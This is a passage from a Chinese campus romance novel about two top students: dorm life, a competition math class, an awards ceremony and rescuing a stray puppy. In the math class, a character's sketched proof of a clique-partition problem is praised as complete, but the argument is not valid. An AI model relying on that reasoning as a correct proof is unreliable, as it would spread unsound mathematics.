大概是因为阿姨说,楚天青今天身体不舒服。如果楚天青累得喘不过气,哪怕他赢了她,又有什么意思? 楚天青对妈妈挥了挥手,跟在纪明川身后,走向了女生宿舍楼。 她目不转睛地看着他的背影。他今天没穿校服,穿着黑色T恤和长裤,肩膀宽阔,身形挺拔,手臂上的肌肉线条结实流畅,那他拎着那几个包裹,应该也不会觉得辛苦吧? 她轻声问:“你觉得我的行李重吗?” 纪明川头也没回,只说:“很轻,像羽毛一样。” 楚天青“嗯”了一声,补充道:“里面有被子,还有笔记本、参考书、鞋子、衣服……加起来至少十公斤。” 纪明川还是那句话:“很轻。” 校园林荫道上,几片落叶被风卷起来,落在楚天青的脚边。她的脚步飘飘的,药效还没完全消退,脑袋也有些昏昏沉沉。 “你能走慢一点吗?”她小声说,“我今天……走不快。” 纪明川立即停下脚步,转身看她,才注意到她脸色苍白,嘴唇也没什么血色。 纪明川一怔,手劲一松,“啪”的一声,帆布包落到在地上,又被他弯腰捡起来:“你怎么样,要不要我送你去医务室?” 楚天青摇了摇头,撒了个谎:“不用……我只是感冒了,休息一会儿就好。” 纪明川走到她身边,拎了一下她的书包。她大概明白了他的意思,随即将肩上的背包卸下来递给他。 纪明川把书包斜背在自己身上,继续往女生宿舍楼的方向走:“你先回宿舍休息一下,实在不舒服,就去医务室,或者找老师。” 楚天青轻声说:“嗯……可是今天早上,我们班不是有一节班会课吗?段老师说,那一节课,竞赛班要讲解联考试卷,让我们去竞赛班旁听……” 纪明川的动作停了一瞬,语气比平时更认真:“你的身体最重要,千万别硬撑,凭你的实力,无论哪天都能进竞赛班。” “竞赛班高手如云,”楚天青叹了口气,“也不是我们想进就能进的。我听说竞赛班里有一些同学,从小学就开始训练了。我上小学的时候,还在乡下玩泥巴。” 纪明川却说:“我从高一开始参加竞赛培训,其实和他们也差不多,你应该对自己有信心。小时候玩泥巴也没什么,谁都玩过。” 楚天青忍不住问:“真的吗?你们城里人也会玩泥巴吗?” 纪明川笑了一下:“当然,城里人也是人。” 楚天青看着他,没说话,只是轻轻点了点头。 两人一路无言,沿着林荫道缓缓走着。 阳光透过树叶洒下来,天很蓝,风很轻,树影在地上摇动。不知不觉中,他们已经走到了女生宿舍楼下。 纪明川本想开口对宿管阿姨解释几句,再帮忙把行李送上楼。楚天青却拦住了他:“不用了,我自己来就行。现在是早上,女生宿舍不太方便……而且天气也热,谢谢你。” 不等纪明川回答,楚天青自己拎起了行李。帆布包最重,她的手指一阵酸软,双腿也没多少力气,但她还是硬撑着,一步步,走上了宿舍楼二楼。 刚走到204寝室门口,顾思安和陈曼正准备出门,三人撞了个正着。 顾思安一见她脸色惨白,立即接过她手里的帆布包:“你怎么回事?脸色这么差,看起来快要晕倒了。” 楚天青当然不敢坦白自己的情况,只能小声说:“有点不舒服。” 顾思安皱起眉:“那你应该给我们打电话啊,我们可以下楼来接你啊。” 她指了指寝室里的一张床:“郑相宜也病了,早上一直没起床,你们俩凑一块儿了。” 郑相宜正躺在床上,掀开薄被,露出一双手臂,身上只穿着一件浅灰色的宽松睡衣。她的脸色有些憔悴,长发散乱,似有一种漫不经心的颓废。她坐起身来,低头望向门口的楚天青,声音沙哑,却不失关切:“你……你来了?” 她看见楚天青神色疲惫,又问:“你是不是低血糖了?我柜子里有焦糖饼干,要不要先吃一块?” 楚天青记得顾思安说过,郑相宜一直被痛经困扰,昨天也没来参加数学竞赛。没想到,郑相宜今天还没缓过来。 “我没事。”楚天青走到郑相宜床边,仰头看她,“你呢?好点了吗?” 郑相宜又躺了下来:“我请过假了,上午不去了,下午再去。” 楚天青点点头:“那……我也可以请假吗?我想先在寝室睡一会儿,等到第四节课再去上。” 顾思安和陈曼已经准备出门,临走前,顾思安还说:“那你们两个在寝室等我,我去食堂给你们带早餐,楚天青,你想吃什么?” “啊?还能带早餐吗?”楚天青又一次震惊了,完全没料到室友会主动提这件事。 她连忙翻出校园卡:“那我……我想吃杂粮煎饼……就一个煎饼,就行了,谢谢……以后我也会给你带早餐的。” 郑相宜敲了敲床上的栏杆:“你不用拿校园卡了,让顾思安刷我的卡。杂粮煎饼有点干,再给你带个酸奶吧。” 22 朋友圈 楚天青记起妈妈的叮嘱,有点不敢接受郑相宜的好意,又怕贸然拒绝会让对方难堪。 今天郑相宜身体不舒服,楚天青不能随口推脱,说话也要更体贴些才行。 楚天青正犹豫着怎么开口,顾思安和陈曼已经走远了。寝室里忽然安静下来,只剩楚天青和郑相宜两个人。 郑相宜轻声说:“你把床铺收拾收拾吧,还能再睡会儿……” 这一句话还没说完,门口传来敲门声。 楚天青转头一看,只见宿管阿姨探头进来,笑眯眯地说:“楚天青,外面这个塑料袋是你落下的吧?可别放走廊上,快拿进去。” 楚天青这才发现自己还有一个塑料袋落在门口,连忙弯腰把它拎起来:“啊,对,对不起,是我的。” 她站直了,又问:“我可以请个假吗?我今天……起得太早了,现在头晕得厉害,想在宿舍睡一会儿,等到第四节课再去教室……” 宿管阿姨点了点头:“行,我和你们王老师打声招呼。你们这会儿还是在暑假补课嘛,我也能理解你们辛苦,能照顾的我尽量照顾。等正式开学后,就不能这么宽松了,领导要来检查的。” 楚天青对宿管阿姨笑了笑:“嗯,我知道,谢谢您!” 宿管阿姨的脚步声渐渐远去。 寝室里又安静了不少,窗帘还没拉开,灯还亮着。楚天青环视四周,这个房间很干净,很整洁,甚至还有独立卫浴。她从没住过这么好的地方。 此时此刻,她站在这里,感觉这一切都不真实,好像这里不该是她的寝室,只要眨一下眼,整个房间都会消失不见。 不过,或许是因为吃过药了,她的情绪还是平静的。她打开帆布包,开始慢慢收拾床铺。 床垫和枕头都是学校配备的,她只要铺好床单,套上被罩和枕套就行了。 可她实在是太累了,身上连一点力气都没有了,才刚把床单铺平,就支撑不住地躺了下来。 她和郑相宜的床铺紧紧相连,中间只隔着两道栏杆,她们二人靠得那么近,几乎是枕头贴着枕头。她闭上眼,忽然觉得自己和郑相宜同病相怜。 “你铺好床了吗?”郑相宜侧躺在床上,轻声问。 “还没,”楚天青躺着不动,“还差被套和枕套。” 郑相宜打了个哈欠,把脸埋进枕头里:“你等我一会儿……我先睡一觉,再起来帮你整理……” 哈欠是会传染的,楚天青也忍不住跟着张了张嘴,揉了揉眼睛,迷迷糊糊地说:“不用了,你好好休息吧……你今天还在痛经吗?” 郑相宜闷闷地应了一声:“我是昨晚来的宿舍,本来以为没事了,早晨起来又有点疼……今天是第二天……” 楚天青把叠好的被套抱进怀里:“你去看过医生吗?” “看过,”郑相宜闭着眼回答,“医生说,就是普通的原发性痛经,也没什么别的毛病。我也吃了止痛药……妈妈不让我多吃,她说一天最多只吃两粒。” 楚天青隐约察觉到,郑相宜的妈妈也是一个对女儿管得很严的人,无论是吃穿住行,还是上学择友,她妈妈应该都会仔细过问。 郑相宜是很好的人,那她的妈妈应该也是很好的人,楚天青心想。 就在她快睡着的时候,走廊上突然响起急促的脚步声。紧接着,顾思安冲了进来,语速飞快地宣布:“我给你们带回来早餐了,快点来吃!我买了杂粮煎饼、豆腐脑、豆浆、白菜包子,没抢到酸奶,我去得太晚了,酸奶卖光了!” 郑相宜揉着眼睛坐起来:“你能不能帮楚天青把被子套上?她真的一点力气都没有了,我也没劲了……” 顾思安瞄了眼手表:“行,我还有三分钟!” 说着,她利落地脱了鞋,一步爬上楚天青的床铺。 楚天青还没来得及说话,只见顾思安动作飞快,三两下把被子套好,又把枕头也塞进了枕套里。 “我爸妈都是军人,从小被他们训练出来的,”顾思安冲她们眨眨眼,“干这个我可在行了。” 说完,她右手握住栏杆,手掌一转,顺着梯子落到了地上,套上一双鞋,就像一阵风似的冲出了寝室。 楚天青望着她的背影,这才想起来,顾思安的体能其实一直很好。测试八百米的那天,顾思安跑完了以后,脸不红、气不喘,还能帮楚天青和郑相宜拿书包。 自己能和郑相宜、顾思安做朋友,真是太幸运了。楚天青把脸埋进枕头里,轻轻蹭了蹭,刚套好的枕头柔软又干净,带着一点淡淡的香皂气味,简直是为睡觉而生的。 她的意识一点点变得模糊,眼皮也越来越重,正要沉入梦乡时,“咚咚”一声,寝室门又被敲响了。 楚天青睁开眼,侧过头,只见门口站着一个陌生的女孩,穿着省立一中的校服,语声很轻:“请问你是204寝室的楚天青吗?” 楚天青立刻撑起身子:“我是楚天青,你是?” 那女孩说:“我是十四班的,你把保温杯落在校门口了。你妈妈一直在外面找人帮你把杯子送进来,她说找了好一会儿了,我就答应帮忙了。” 楚天青的脑子“嗡”了一声。对了,今天早晨吃过药以后,妈妈把保温杯放进了自己的包里。 然后,她进了校门,妈妈进不来,才发现没把水杯给她,她的手机又静音了,妈妈联系不上她,只能守在门口,焦急地拜托一个个路过的学生帮忙送水杯。她可能已经被拒绝了好多次,才遇到这个愿意帮忙的女生。 “谢谢你,”楚天青走下了床,接过水杯,“太谢谢了。我……我送你一本笔记吧?” “不用不用!”那个女孩转身跑远了,“我快迟到了!” 楚天青站在原地,又注意到桌上的早餐,已经快凉透了。她连忙问:“郑相宜,你下来吃点东西吧?顾思安给我们带的,凉了就不好吃了。” 郑相宜慢慢从床上爬了下来,顺手拖过来一把椅子:“一起吃吧。” 豆腐脑还冒着余温,豆浆有点凉了,杂粮煎饼上的辣酱微微渗进了鸡蛋的褶皱里,香味在空气中弥漫开来。 两个女孩并排坐着,低头吃饭,一时无话,却很安静、很安心。 杂粮煎饼快吃完了,楚天青忽然想到了什么,赶紧从书包里摸出手机,点亮屏幕,果然看见了妈妈打来的几个未接来电,微信里也有好几条消息。 妈妈问她:“宝宝,在睡觉吗?” 妈妈还说:“宝宝千万不能不吃早餐啊,哪怕吃一点点也好,空着肚子很不舒服的。妈妈知道你忙,但也要记得照顾自己。” 消息与消息之间,还有一个红包。 楚天青点开一看,顿时吓了一大跳,那是两百块的红包,整整两百块! 楚天青赶紧回复:“妈妈,不要给我这么多钱。” 几秒后,妈妈发来消息:“拿着吧,宝宝,在食堂多吃点好的,你还在长身体,一定要多吃。” 楚天青怔住了,心里一阵发酸。 这时手机卡顿了一下,她不得不重新打开微信,妈妈不再说话了,她又看到纪明川的消息,竟然是十分钟前发来的:“好点了吗?要不要去医务室?” 楚天青飞快地打字回应:“好点了,但是我好困,没办法上课了,我又怕自己错过了今天的课堂内容……” 此时,纪明川正坐在教室里,周围同学都在早读,只有他沉默不语,没发出一点声音。 他把手机夹在英语书页之间,指尖点开了对话框,又看到了楚天青的头像。那是一只毛绒小猫,白毛、立耳,眼睛又圆又亮,水汪汪、亮晶晶,和她本人……也有点像,尤其是她开心地笑出来,嘴上说着“谢谢你!你人真好!”的时候。 不过,她也并不总是这一副模样。 当她和他吵起来,还说自己“睁眼能赢他,闭眼也能”,她更像一头狮子,在草原上争夺霸主之位。 纪明川在消息栏里敲出一行字:“我上课记笔记,拍给你看吧。” 楚天青立即回复:“谢谢你!你真好!” 纪明川指尖一顿,又问:“你是不是很喜欢小猫小狗小兔子……之类的?” 楚天青反问:“难道会有人不喜欢吗?全世界都喜欢吧。” “也是。”纪明川停了一秒,再发出一条消息:“你是不是也喜欢毛绒玩具?” 为什么要问这么多问题?纪明川的手指从屏幕挪到了纸页上。 倒也不是为了研究她喜欢什么,只是想判断她的状态,如果她很不舒服,他可以找老师,送她去医务室。对,他只是想确认她状况如何,仅此而已。 等了整整两分钟,楚天青才回了一句:“超级喜欢毛绒玩具,你怎么猜到的?” “这个不用猜,”纪明川秒回,“一眼就看出来了。” 楚天青不再回复。她吃完早餐,爬回床上,倒头睡着了。 教室里,早读课已经接近尾声,纪明川还没念出一个字。他打开一本英语笔记,手里握着一支签字笔,却只是随便做个样子而已。 手机还躺在书页里,他的视线停留在她的那一条回复上:“谢谢你!你真好!” 不该在意这些事,也不该听信这一句客套话。纪明川把手机锁屏,放进书包里。 上午三节课很快过去了,纪明川平静地记完了笔记,合上封皮。第四节课是班会,但他不能出席班会,他要去竞赛班上课。 纪明川站起身,随手拎起书包,还没走出教室,就看见楚天青站在走廊上。 她的气色比早上好太多了,脸颊红润了不少,双眼明亮又有光彩。她似乎是在等他一起去竞赛班,但她没开口,他也不说话。 趁着班上同学还没反应过来,纪明川快步走到她身旁,与她一前一后,穿过熙熙攘攘的走廊,向着教学楼最顶层的竞赛班教室走去。 上课铃打响时,楚天青和纪明川刚好踏入竞赛数学教室。 楚天青在后排找到了两个紧挨着的空位,本想和纪明川坐同桌,然而纪明川脚步一顿,默默走向另一侧,拉开另一张空桌椅,独自坐下。 楚天青双手扶住桌沿,低声问:“你为什么不坐过来?” 她总是如此直白,毫不掩饰。 纪明川沉默了两秒,才找出一个借口:“这张桌子大,写题方便。” 他翻开一张数学试卷,却没有再看她一眼。 楚天青的注意力也不在纪明川身上。她看见竞赛老师段启言匆匆走进了教室,往讲台上扔了一本教案:“来,同学们,今天我们讲解一下联考试卷,这次题目很灵活,你们得打起精神来。” 前几题还算常规,段启言讲得飞快,没过多久,他引出一道变式证明题,课堂顿时安静下来。 段启言把题目读了一遍:“在一场数学比赛里,某些参赛选手互相认识。我们把一个‘朋友圈’定义为,其中任意两人彼此认识。现在,假设最大朋友圈人数是一个偶数。请你证明,我们一定可以把所有选手分进两个房间,使得每个房间里最大朋友圈的人数刚好相等。” 段启言念完,看了一圈:“怎么样,谁来讲讲思路?以前练过类似题目,这道是改编的……怎么没人说话?你们是早上没睡醒吗?” 教室里一片沉默。 不少竞赛生正在纸上打草稿,理清自己的想法。他们思维敏捷,条理清晰,打草稿的速度也很快。 楚天青忽然举起手:“老师,这题可以用图论来解。” 段启言敲了敲黑板:“好,你到黑板上来写,写给大家看看。” 23 期末表彰大会 全班同学都转头看着楚天青,楚天青忽然有些紧张。 她站在座位上,一句一顿:“其实不用上黑板写……这道题,可以看作图论中的‘团划分问题’。假设图中最大团的大小是偶数2n,可以分成两个大小为n的子集,分别放入两个房间。其余的点,怎么分配都可以,只要保证两个房间里不出现比n更大的团……” 有些同学已经反应过来了,连连点头。 楚天青继续说:“其他的团大小不会超过2n,也不会完全包含已经被拆分的两个子团,因此可以通过逐步调整,将任何超过n的新团拆解,另一个房间也不会出现更大的团。这样一来,最终划分出的两个房间中,最大团的大小都是n。” 话音刚落,她又补充一句:“如果某一个新的团没有被之前的团完全覆盖,我们可以把不重合的部分单独移到另一个房间里,不会影响整体划分。” 段启言竟然给她鼓掌了:“我要特别表扬楚天青同学。这道题本身并不难,难得的是,楚天青在这么短的时间里,就说出了完整的思路,大家要学习这种熟练度。” 下一秒,教室里响起了掌声。声音不算大,却很真诚,就连平时最安静的同学也跟着鼓了两下。 楚天青愣住了。她这才明白,在竞赛班里,大家真正尊重的,是那些解题迅速、思路清晰,又愿意与同学分享解法的人。 或许是因为这里的班风本就友好,又或许是因为段启言总爱鼓励大家,引导同学们互相欣赏。不论哪一种理由,这一刻,她亲身感受到,自己被接纳了。 掌声渐渐停下了,楚天青的心跳还是很快。 这种被认可、被尊重的感觉,真的太好了。她第一次发现,原来和大家一起交流思路,是这么轻松快乐的一件事,并不是她之前想象的那么可怕。 她忽然有些期待未来。某一天,如果她也能站在讲台上,讲解一道难题,迎来全场热烈的掌声,那该有多好?到时候,她一定会给观众鞠躬,作为感谢。 她慢慢坐回了座位上。 接下来,段启言继续讲题。 楚天青总会等着其他同学发言,只有当题目实在太难,大家都沉默下来时,她才会举起手,站起身,把解题思路讲清楚。 下课铃打响了,竞赛班的同学们不由自主看向楚天青,眼神里更多了几分敬佩。 楚天青有些不好意思。她把头低下去,默默收拾书包,这时,旁边一个女生冲她喊了一声:“天才!” 她连忙摇头:“不是的,我不是天才,我只是……平时比较喜欢看书,记忆力也还可以。” 纪明川瞥了她一眼,有些无奈,“只是平时比较喜欢看书?”,这个理由,简直令人发笑。 纪明川不动声色,把草稿纸收好,神情平静地站起身,仿佛什么都没发生过似的,缓步走向教室门口。 楚天青跟在纪明川身后,与他一同走下楼梯。她还不熟悉竞赛班的同学,只认识纪明川一个人,与他顺路,她感到莫名安心,就连心跳也不再那么剧烈了。 楚天青小声说:“你让我的心跳慢下来了。” 纪明川一怔,转身看她:“什么意思?” 楚天青也不知道自己应该怎么解释,只好又重复了一遍:“就是……我站在你身边,心跳会变慢。” 纪明川拎起书包背带,把挂在左肩的书包又往上提了提,楚天青也不知道他要把书包提到什么地方去,头顶上吗? 正当她感到疑惑的时候,纪明川忽然开口:“你是说,我能让你冷静下来,还是……我很无聊?无聊到让你心跳变慢了。” 这一瞬间,纪明川甚至有点怀疑,自己平时是不是太安静了,缺乏一些手舞足蹈的动感,才会被她误认成一个无聊的人。 “不是不是!”楚天青急忙摇头,“我不是那个意思,是……你在我身边,我就没那么害怕了。” 楚天青还怕他不相信自己。她抬起右手,把手腕摊开在他面前:“真的,你看我的脉搏。” 纪明川生平第一次这么认真地看着别人的手腕。那是一只细瘦的手,掌侧朝上,皮肤光滑白净,像是很少出门晒太阳,掌心还有一点薄茧。手腕靠近拇指那一侧,一条血管随着呼吸轻微起伏,脉搏的跳动隐约可见。 楚天青向他介绍:“这个位置,叫桡动脉搏动点。” “我知道,”纪明川移开视线,“小时候也翻过几本医学杂志。” 楚天青追问:“你也喜欢看吗?” “谈不上喜欢,”纪明川往下走了一级台阶,“只是家里这种杂志多,也没别的能看。” 脚步微顿,纪明川又说:“只用眼睛看,还是不太准确,不如用手指摸,会更清楚一点。” 说到“用手指摸”时,纪明川的语声停了一秒。他意识到了哪里不太对劲,但是,这句话已经说出口了,他只能装作没事人一般,迈开双腿,继续往下走。这当然不是逃避,只是一种战略性撤退。 楚天青却没放过他:“你想摸吗?” 纪明川刚好走到楼梯口。其实他已经刻意加快了脚步,每一步都跨过两级甚至三级台阶,可终究还是没能离开她的视线范围。他差点忘了,她跑得快,体能也好,八百米测试对她来说根本不算什么,仰卧起坐也只是她的日常消遣罢了。 楚天青很快就追了上来:“你可以摸摸你自己的脉搏,感受一下脉象。” 纪明川握紧了楼梯扶手,也没再看她,只应了一声:“嗯,你……” “什么?”楚天青问。 纪明川依旧站得笔直:“你以后能不能尽量一次把话说完?” 楚天青恍然大悟:“我明白了,刚才我问你,你想摸吗,你是不是以为我要让你摸我的脉搏?不是的,我不是那个意思,我就是想让你自己试试你的脉搏。” 楚天青越是坦率,纪明川反倒越是隐晦:“也不用……什么都说出来。” 楚天青没有回话。她又下了一层楼,忽然看见了顾思安。她连忙跑过去,和顾思安一起奔向食堂。 纪明川站在楼梯口,独自停留了一会儿,才往楼下走去。 当天中午,顾思安和楚天青在食堂吃完饭,又顺便给郑相宜带了一份西红柿鸡蛋盖浇饭。她们回到寝室时,窗帘没开,灯没亮,陈曼已经睡下了,郑相宜端起午饭,也吃得很小声。 楚天青小心翼翼爬回自己的床铺,动作轻得几乎没有声响。然后,她躺下,盖好被子,睡了一个安稳的午觉。 这一觉醒来,已是下午两点。 顾思安拉开窗帘,阳光骤然洒进屋里,在床铺和地砖上投下明亮的光斑。 楚天青伸了一个懒腰,听见浴室里传来哗哗水声,郑相宜正在洗澡。 郑相宜休息了一上午,现在她的精神好转了不少。她换了身衣服,背起书包,准备回教室上课。 抵达教学楼时,时间刚好是两点一刻,离上课还有十五分钟。 楚天青站在郑相宜的座位旁边,低声给她讲解一道联考数学题。讲到一半,数学老师钱晨从窗边路过,敲了敲玻璃:“课代表?” 郑相宜站了起来:“老师,我在这里。” 钱老师叮嘱她:“你带个人,去文印室把数学卷子拿一下,那是我给你们布置的暑假作业。你看看卷子复印得怎么样,顺便帮我数数,份数对不对。” 郑相宜应了一声,拉了拉楚天青的手臂,两人一同去了文印室。 这是楚天青第一次来文印室。这个房间很宽敞,地砖泛着冷光,靠墙的几台打印机体积庞大,机身上贴着褪色的编号贴纸。两台机器正在运作,纸张卷着热气,从出纸口滑落,发出轻微的嗡嗡声。 靠窗那一侧摆着几张长桌,桌面略显杂乱,放着一摞一摞的试卷。纸张边缘交叠着,有些还没压平整,空气中隐约漂浮着一丝墨粉的气味。 郑相宜找到了那叠数学试卷。她把卷子抱起来,走到了一张空桌边上。 那张桌子靠着一座铁皮资料柜。柜子大概有两米高,表面斑驳,抽屉的边角都生锈了。柜门关得不严,轻轻一碰,就发出“哐啷”一声闷响。 整个柜体像是一面墙,宽阔而厚重,挡住了角落里的一块空间。楚天青和郑相宜站在柜子后侧,摊开数学试卷,一边清点份数,一边检查题目是否印得清晰。 两人正忙着,忽然听见一阵脚步声。 数学老师钱晨和英语老师赵亦然一同走进文印室。她们似乎没注意到楚天青和郑相宜,只站在打印机前,操作着机器。 钱晨按下了一个按钮,低声说:“过两天就是期末表彰大会了,在礼堂举办。最近王老师可开心了,她班上那三个学生包揽了年级前三,她这运气也太好了。” 楚天青动作一顿,忽然意识到,钱老师正在议论班主任王老师。 楚天青看了郑相宜一眼,郑相宜抬起一根手指,贴在自己的唇边,示意楚天青千万别出声。 文印室的另一侧,赵亦然正在整理英语试卷:“我听说王老师以前带过的学生,这两天也回来看她了?现在是七月,大学生正好放暑假吧?” “哎,前天来了两个。”钱晨把打印纸摆正,“怎么说呢,也不一定是好事吧。王老师把班级带得好,但她儿子不是留在澳洲了吗?好几年没回来了。” 赵亦然笑了笑:“那人家可能是工作太忙了,回不来嘛。王老师毕竟是特级教师,再过几年,你肯定也能评上特级。” “我倒不在乎这些虚名,”钱晨淡淡地说,“我带的班,数学平均分也一直是年级前几。” 又过了一会儿,钱晨和赵亦然走远了,文印室安静下来,楚天青才从柜子后侧探出头:“她们走了。” 郑相宜把试卷抱起来:“我们也走吧,卷子都齐了。” 走回十七班教室的路上,楚天青忍住问:“钱老师和王老师……关系不好吗?” 郑相宜耐心解释:“整个年级,平均分最高的就是我们十七班,还有十八班。十八班的班主任就是钱老师。” 楚天青又问:“老师之间也会竞争吗?” 郑相宜侧过头,对上她的目光:“那要看具体情况了,王老师和钱老师的性格都挺强的,你没感觉出来吗?” 楚天青连忙点头:“我也感觉到了。” 钱老师和王老师都很在意班级荣誉。暑假快要开始了,对王老师来说,接下来,最重要的事,就是2024-2025第二学期期末表彰大会。 纪明川是这次大会的优秀学生代表。 因为楚天青才刚转过来不久,只参加过一次月考,也没有拿到竞赛奖项,所以还做不成“优秀代表”,但她也获得了“三好学生”以及“学习标兵”的荣誉称号。 这天下午,王老师特意把纪明川、楚天青、郑相宜、宋远舟、顾思安这些优等生叫到她的办公室。 王老师叮嘱他们,大会当天,一定要穿校服,要保持仪容整洁,纪明川还要上台发言,到时候校长、副校长都会出席,可千万别出差错。 楚天青站在办公桌边,双手背在身后,静静听完王老师的安排,犹豫了一下,还是开口问道:“老师……这个荣誉,会有奖学金吗?” 王老师笑着说:“表彰大会本身是没有奖学金的,不过你成绩这么好,学校给你的补助会陆续发放的,现在一共有多少了?” 楚天青点了点头:“餐补五百,助学金两千,月考奖学金四千,一共拿到六千五百了。” “很好,”王老师语气认真起来,“你要是再努把力,考一个省理科状元,再拿个竞赛奖,清北那边的奖学金都能谈。上届我带的一个学生,光是入学奖学金,就拿了十万。” “十万?”楚天青瞪大了眼。 她仿佛被什么点燃了似的,一股热意从胸口涌上来,她猛地站直了身体:“好!老师,我一定努力!” 接下来的两天,楚天青更加用功了。她很珍惜来之不易的机会,能住在学校宿舍里,能在宽敞明亮的教室里上晚自习,每天还能去食堂吃三顿饭,她不敢想象比现在更好的生活,只能把一切焦虑都化作学习的动力。 很快,就到了举行表彰大会的日子。 这天清晨,天刚蒙蒙亮,窗外淅淅沥沥下起雨来,雨点噼里啪啦,打在玻璃窗上,声音渐渐密集,仿佛能敲进人心里。 今天上午没课,表彰大会将在九点准时开始。楚天青打算等到七点半再去食堂吃早餐。她不敢起太早,怕吵到室友。 大家昨晚都说,今天想多睡一会儿,至少七点后再起床,楚天青也不想打扰别人。虽然她六点半就醒了,但她还是躺在床上,一动不动,也不敢玩手机,只把指尖伸出来,在枕头旁边画圈圈。 这时候,她的强迫症刚好发作了,倒也不是什么坏事。她画圈的时候,至少要画到1024圈,才会停下来。 她很喜欢1024这个数字,2的10次方,它不仅是二进制的关键节点,也是最常见的容量单位。1KB是1024字节,1MB是1024KB,这个数字藏在无数人的手机、电脑、U盘里,却很少有人真正注意到它。 对她来说,这是一种秩序,也是一种安全感。 室友们的呼吸声绵长又安稳,楚天青靠在枕头边,困意渐浓,不知不觉又沉沉睡去。 等她醒来时,已经是早上八点。顾思安正在柜子里翻东西,楚天青连忙起身洗漱。 “我不去食堂了,”顾思安伸了个懒腰,声音带着刚醒的慵懒,“我柜子里还有牛奶、面包和香蕉,我要把它们吃完。” “我也不去了,”郑相宜拉开抽屉,拿出一包即食燕麦,“我想泡一碗燕麦,兑点豆奶。” 陈曼没说话。她动作很快,短短几分钟之后,她已经穿戴整齐,把书包背在肩上,和楚天青挥了一下手,算是告别,然后利落地转身,推门走出了寝室。 她好潇洒啊,楚天青怔怔望着她的背影,又回过神来,赶紧收拾自己的东西。 早晨八点二十,楚天青匆匆忙忙离开寝室,身上校服穿得整整齐齐。她打算在吃完早饭后,就直接赶去礼堂,参加表彰大会。 雨还在下,不过比清晨小了些,雨丝细细密密,斜织在风里,整个校园像是笼罩着一层轻雾。天色还是灰蒙蒙的,林荫道上亮起了路灯,她撑着伞走在小道上,总觉得四周静悄悄的。 同学们都已经去了礼堂吗?还是待在宿舍里没出门呢? 雨水打在伞上,敲出轻微的嗒嗒声,楚天青的脚步不由自主快了几分。 今天,她决定奢侈一回,她要在食堂买一碗八宝粥,再买一屉小笼包,当作自己的早餐。 食堂里只有零星几个同学,或许是因为,九点就要关门了,大多数人不是吃过了,就是干脆不来吃了。 楚天青扫视着座位,忽然看见了纪明川。 虽然知道纪明川总是有意无意地避免和她在食堂里一起吃饭,她还是端着餐盘,悄悄走过去,坐到了与他相邻的那张桌子边上。 “早上好,纪明川。”楚天青和他打招呼。 纪明川侧头看她,她今天把头发盘了起来。他才注意到,她的发丝浓密柔顺、乌黑光亮,完全没有一点秃顶的迹象。难道不是头发越少、越聪明吗? 纪明川一时走神,楚天青忽然问他:“你快吃完了吗?” “才刚开始。”纪明川回答。 楚天青眨了眨眼:“不对吧?这一碗牛肉面,只剩一半了。” 纪明川拿起筷子:“再过一会儿才能吃完,细嚼慢咽对消化好。” 楚天青若有所思,却没说什么。她低头继续吃饭,差不多和纪明川同时吃完的,也不知道是不是巧合? 饭后,楚天青和纪明川各自撑起一把伞,一前一后向着学校礼堂走去。 此时已经是八点四十,距离表彰大会开始,只有不到二十分钟了。 楚天青加快了脚步,纪明川走在她斜前方。她偷偷瞄了他一眼,只见他穿着整洁的校服,短袖长裤,宽肩长腿,看起来比同龄人更沉稳几分。 从食堂到礼堂,要经过一段林荫道。为了省时间,他们抄了近路,走上一条不到一米宽的小径,却隐约听见了一阵细微的“呜呜”哭叫声,从树丛深处传来,那声音颤抖不已,似乎是无法再支撑下去了。 “那是什么声音?”楚天青耳力极好,立刻停住了脚步。 纪明川也停了下来:“好像是……小动物?” 楚天青毫不犹豫,快步跑向那片树丛,越走越近,那声音越来越清晰。她拨开枝叶,看见一只湿漉漉的小毛团蜷缩在草地上,几乎可以断定:“是一只小狗,好小啊,好可怜,看起来才三四个月大,应该是走丢了。” 小狗藏在树丛最深处,是一只浑身漆黑的小土狗,脏兮兮的,毛发虽然湿透了,却还是柔亮蓬软的,它的牙齿还没长齐,显然还不到四个月大。 楚天青拎着它的后脖颈,把它捞了出来,它瘦得能摸到肋骨,睁着一双又圆又亮的眼睛,望着他们,明明害怕得发抖,还是摇了摇尾巴。 “别怕,我们不会伤害你的。”楚天青摸了摸小狗的头顶。小狗似乎闻到了她手上的香气,没有挣扎,也没有哭叫,任由她抚摸它的皮毛。这一瞬间,她的心都软了:“真的很乖啊。” 纪明川看了一眼,立即把书包拉开,拿出一条叠得整整齐齐的深灰色毛巾,递给了楚天青。 “你怎么会带毛巾?”楚天青接过来时,小声问。 纪明川的指尖托起了小狗的下巴:“今天下雨,本来是打算擦脸的,万一淋雨了。” 楚天青摊开毛巾,迅速把小狗包了进去。那毛巾带着一股淡淡香味,边缘绣着一个金色字母,摸起来柔软厚实,一看就是价格不菲,她心里不由得泛起一点复杂情绪,说不清也道不明。 “我们学校怎么会有小狗?”楚天青又问。 纪明川顺手接过这一团小狗:“我也不知道。” 小狗似乎感觉到了温暖,连哭都不哭一声,安安静静地窝在纪明川怀里。纪明川低声说:“可能是附近居民家的,也可能是被人遗弃了。” 24 荒野求生 楚天青忽然注意到,小狗的后爪渗出了一点血迹,已经沾到了毛巾上。她急忙说:“小狗流血了!” 纪明川也看见了血迹。他皱了一下眉头:“学校旁边有一家宠物医院,从北门走过去,五分钟能到。” “那我们现在就去吧,快去快回。”楚天青转身就往北门走。 纪明川抬起手腕,看着那一块机械手表:“现在是八点五十,我们争取在九点半前赶回来。” 楚天青知道,纪明川是全校优秀学生代表,也是表彰大会上的学生发言人。九点半,是他上台讲话的时间。 楚天青忽然紧张起来。 纪明川这一次发言意义非凡,整个年级的“模范形象”都由他一人负责。王老师已经提醒过好几次,说学校要全程录像,还要把视频挂到官网上,绝不能出半点差错。 纪明川的演讲稿共有一千两百字,王老师亲自检查了好几遍,每一句话她都反复推敲过,力求完美,就连标点符号都要十分精确。 王老师有多重视班级荣誉,楚天青心里也清楚。但她不可能放弃这只小狗。她思考了两秒,迅速作出决定:“快点,我们走快点,抓紧时间赶过去,一定来得及,不会耽误你上台发言。” 纪明川双手抱着小狗,楚天青抬手为他撑伞。他们二人快步走在林荫道上,大颗的雨水仍在飘洒,顺着伞沿连成细线,落在他们脚边,溅出一圈圈微小的涟漪。 走出一段路后,纪明川猛然反应过来,他和楚天青共打一把伞,走在林荫道上,他怀里还藏着一只小狗,就好像,这只小狗是他们一起捡的,他们也会一起把它养大。 纪明川脚步一顿,又看了一眼楚天青。 “你怎么了?”楚天青心里十分着急,“快走啊,不要停下来,时间很紧张的。” 